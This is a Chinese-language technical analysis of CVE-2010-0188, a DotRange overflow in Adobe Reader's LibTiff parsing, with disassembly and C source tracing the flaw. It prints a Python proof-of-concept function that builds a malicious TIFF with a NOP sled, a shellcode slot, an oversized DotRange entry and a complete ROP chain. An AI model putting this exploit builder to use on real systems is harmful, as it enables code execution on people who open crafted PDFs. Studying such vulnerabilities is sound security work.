Adobe PDF LibTiff Integer Overflow CVE-2010-0188分析

一，TIFF图像格式介绍

TIFF文件分为文件头IFH和IFD两部分。

IFH结构见下图：

共有8字节。其中

0-1 规定为“II”或“MM”，Intel/Mortorola类型的字节序列

2-3 TIFF版本号，为向下兼容，值为42

4-7 第一个IFD的偏移量

IFD结构见下图

IFD由连续存储的DE组成。

0-1 IFD中DE个数

2-13 第一个DE

14-25 第二个DE

……

1+12*DE数下一个IFD相对于文件头的偏移量，若为NULL表示本IFD是最后一个。

DE由连续的12字节表示

0-1 tag指出该DE所表示的图像属性，在同一个IFD中，它总是递增的。

2-3 value的数据类型。

4-7 value的数据长度。

8-11 valueOffset偏移量。为了节省空间，如果此DE值长度不足4字节，就在valueOffset中直接存储。

下表列出了tag所表示的图像属性

标签名                        标签的ID号(十进制)
ImageWidth                            256
ImageLength                       257
Compression 259
PhotometricInterpretation    262
StripOffsets                                         273
RowsPerStrip                                     278
StripByteCounts                                 279
XResolution    282
YResolution                                        283
ResolutionUnit                                   296
DotRange                                           336

以下列出了type各值的含义
1 = BYTE
2 = ASCII
3 = SHORT
4 = LONG
5 = RATIONAL
6 = SBYTE
7 = UNDEFINED
8 = SSHORT
9 = SLONG
10= SRATIONAL
11= FLOAT
12= DOUBLE

二，漏洞产生的原因

漏洞出在对DotRange属性的解析上。

DotRange一般为两个值，即DotRange[0]和DotRange[1]。DotRange标签是一个目录项结构，12字节的数据定义了该标签的TAG、数据类型，数据长度以及值偏移。通常情况下，DotRange的目录项结构是这个样子的：
TAG Type Length Value/Offset
0x0150 0x0003/0x0001 0x00000002 0xAAAAAAAA

其中属性应不超过2。当Length>2时，adobe reader在解析这个属性时，会根据offset的值，读取文件内容，造成栈溢出，最终执行shellcode。

查看PoC，可以看到PDF中嵌入的TIFF图像的结构。PoC中生成TIFF图像的代码如下

SHELLCODE_OFFSET = 0x555
TIFF_OFSET = 0x2038

	def gen_tiff(self):
		tiff =  '\x49\x49\x2a\x00'
		tiff += struct.pack("<L", TIFF_OFSET)

		tiff += '\x90' * (SHELLCODE_OFFSET)
		tiff += self.shellcode
		tiff += '\x90' * (TIFF_OFSET - 8 - len(buf) - SHELLCODE_OFFSET)

		# First IFD
		tiff += "\x07\x00"	#number of DE = 7
		tiff += "\x00\x01\x03\x00\x01\x00\x00\x00\x30\x20\x00\x00"	# ImageWidth
		tiff += "\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00"	# ImageHeigth
		tiff += "\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00"	# compression
		tiff += "\x06\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00"	# PhotometricInterpretation
		tiff += "\x11\x01\x04\x00\x01\x00\x00\x00\x08\x00\x00\x00"	# Stripoffset
		tiff += "\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20\x00\x00"	# stripbytecounts
		tiff += "\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00"	# Dot Range

		# Next IFD: no more IFD
		tiff += "\x00\x00\x00\x00"

		# junk
		tiff += "\x00\x0C\x0C\x08\x24\x01\x01\x00"
		
		# start of ROP
		tiff += "\xF7\x72\x00\x07\x04\x01"
		tiff += "\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15"
		tiff += "\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00"
		tiff += "\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8"
		tiff += "\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C"
		tiff += "\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01"
		tiff += "\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15"
		tiff += "\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
		tiff += "\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11"
		tiff += "\x00\x07"
		return tiff

首先是文件头，\x49\x49\x2a\x00，表示Intel字节序列，即Little-Endian。

然后是第一个IFD的偏移量，\x38\x20。

然后是用\x90填充，接着放置shellcode，然后又是\x90填充。

接下来就是第一个IFD结构，前两个字节表示有7个DE结构，接着依次是7个DE结构的具体内容。

IFD结构后面是4个\x00，表示只有一个IFD结构。

紧接着是8字节的junk数据（后面会说为什么有这8个字节），然后就是ROP链。

需要注意的是第7个DE结构。

\x50\x01 \x03\x00 \xCC\x00\x00\x00 \x92\x20\x00\x00 # DotRange

其中红色的部分就是DotRange的长度，设置成了0xCC>2。加粗部分是偏移量，为0x2092，刚好是junk数据相对于文件头的偏移量。

三、程序流程分析

分析后可以发现此漏洞与CVE-2006-3459如出一辙，可以下载tif_dirread.c文件对比分析。

其中函数的调用关系如下图：

TIFFReadDirectory()中调用TIFFFetchShortPair()的语句如下：

		case TIFFTAG_PAGENUMBER:
		case TIFFTAG_HALFTONEHINTS:
		case TIFFTAG_YCBCRSUBSAMPLING:
		case TIFFTAG_DOTRANGE:
			(void) TIFFFetchShortPair(tif, dp);
			break;

AcroForm!DllUnregisterServer+0x49f8af处，为TIFFFetchShortPair()的入口，汇编如下

.text:20CB59F7                 push    ebp
.text:20CB59F8                 mov     ebp, esp
.text:20CB59FA                 push    ecx
.text:20CB59FB                 movzx   eax, word ptr [esi+2] ; get the type of DE
.text:20CB59FF                 dec     eax
.text:20CB5A00                 jz      short loc_20CB5A2A ; TIFF_BYTE
.text:20CB5A02                 dec     eax
.text:20CB5A03                 dec     eax
.text:20CB5A04                 jz      short loc_20CB5A0F ; TIFF_SHORT
.text:20CB5A06                 sub     eax, 3
.text:20CB5A09                 jz      short loc_20CB5A2A ; TIFF_SBYTE
.text:20CB5A0B                 dec     eax
.text:20CB5A0C                 dec     eax
.text:20CB5A0D                 jnz     short loc_20CB5A5A ; TIFF_SSHORT

可以看到，程序一开始申请了4字节的局部变量（push ecx），然后取DE的type，接下来是对其进行比较，然后跳转到处理函数。DotRange的type为3（TIFF_SHORT），会跳转到loc_20CB5A0F。

.text:20CB5A0F                 lea     eax, [ebp+var_4]
.text:20CB5A12                 mov     ecx, esi
.text:20CB5A14                 mov     edx, edi
.text:20CB5A16                 call    loc_20CB59A0 ; call TIFFFetchShortArray()

对应C代码为：

	uint16 v[2];
	int ok = 0;

	switch (dir->tdir_type) {
	case TIFF_SHORT:
	case TIFF_SSHORT:
		ok = TIFFFetchShortArray(tif, dir, v);
		break;
	case TIFF_BYTE:
	case TIFF_SBYTE:
		ok  = TIFFFetchByteArray(tif, dir, v);
		break;
	}

注意uint16 v[2];就是申请的局部变量，总共4个字节。

loc_20CB59A0处，就是TIFFFetchShortArray()函数的入口，如下

.text:20CB59A0                 push    ebx
.text:20CB59A1                 push    esi
.text:20CB59A2                 mov     esi, ecx
.text:20CB59A4                 mov     ecx, [esi+4] ; length = 0xCC
.text:20CB59A7                 cmp     ecx, 2
.text:20CB59AA                 mov     ebx, edx
.text:20CB59AC                 ja      short loc_20CB59E7

比较length与2，不小於则跳转到loc_20CB59E7；

.text:20CB59E7                 push    eax		; v
.text:20CB59E8                 call    sub_20CB56A5	; call TIFFFetchData()

将上面申请的局部变量v作为参数，调用TIFFFetchData()。对应C代码如下

	if (dir->tdir_count <= 2) {
		...
	} else
		return (TIFFFetchData(tif, dir, (char *)v) != 0);

TIFFFetchData()的C代码为

TIFFFetchData(TIFF* tif, TIFFDirEntry* dir, char* cp)
{
	int w = tiffDataWidth[dir->tdir_type];
	tsize_t cc = dir->tdir_count * w;

	if (!isMapped(tif)) {
		if (!SeekOK(tif, dir->tdir_offset))
			goto bad;
		if (!ReadOK(tif, cp, cc))
			goto bad;
	} else {
		if (dir->tdir_offset + cc > tif->tif_size)
			goto bad;
		_TIFFmemcpy(cp, tif->tif_base + dir->tdir_offset, cc);
	}

	......
}

其中cp为TIFFFetchShortPair()函数中申请的局部变量uint16 v[2];，tif->tif_base + dir->tdir_offset是DotRange中存储的偏移量，即junk的起始处。8个字节的junk会刚好将栈中的局部变量v（4个字节）和ebp填充，从而将TIFFFetchShortPair()函数的返回地址覆盖为rop链。

这里就是调用_TIFFmemcpy()函数了。

.text:20CB56F1                 push    edi ; n
.text:20CB56F2                 push    [ebp+Dst] ; dest
.text:20CB56F5                 push    dword ptr [ebx+194h] ; src
.text:20CB56FB                 call    dword ptr [ebx+198h]

进入_TIFFmemcpy()后，再经过一系列处理，来到这里

209D4572  |. 57             |PUSH EDI                                ; /n
209D4573  |. 03C1           |ADD EAX,ECX                             ; |
209D4575  |. 50             |PUSH EAX                                ; |src
209D4576  |. FF75 08        |PUSH DWORD PTR SS:[EBP+8]               ; |dest
209D4579  |. E8 70E1E2FF    |CALL <JMP.&MSVCR80.memcpy>              ; \memcpy

这儿就是真正调用memcpy函数覆盖栈了。

接下来函数层层返回，直到AcroForm!DllUnregisterServer+0x49f915，这儿就是TIFFFetchShortPair()函数返回的地方，之后程序就转入ROP链，进而执行shellcode。

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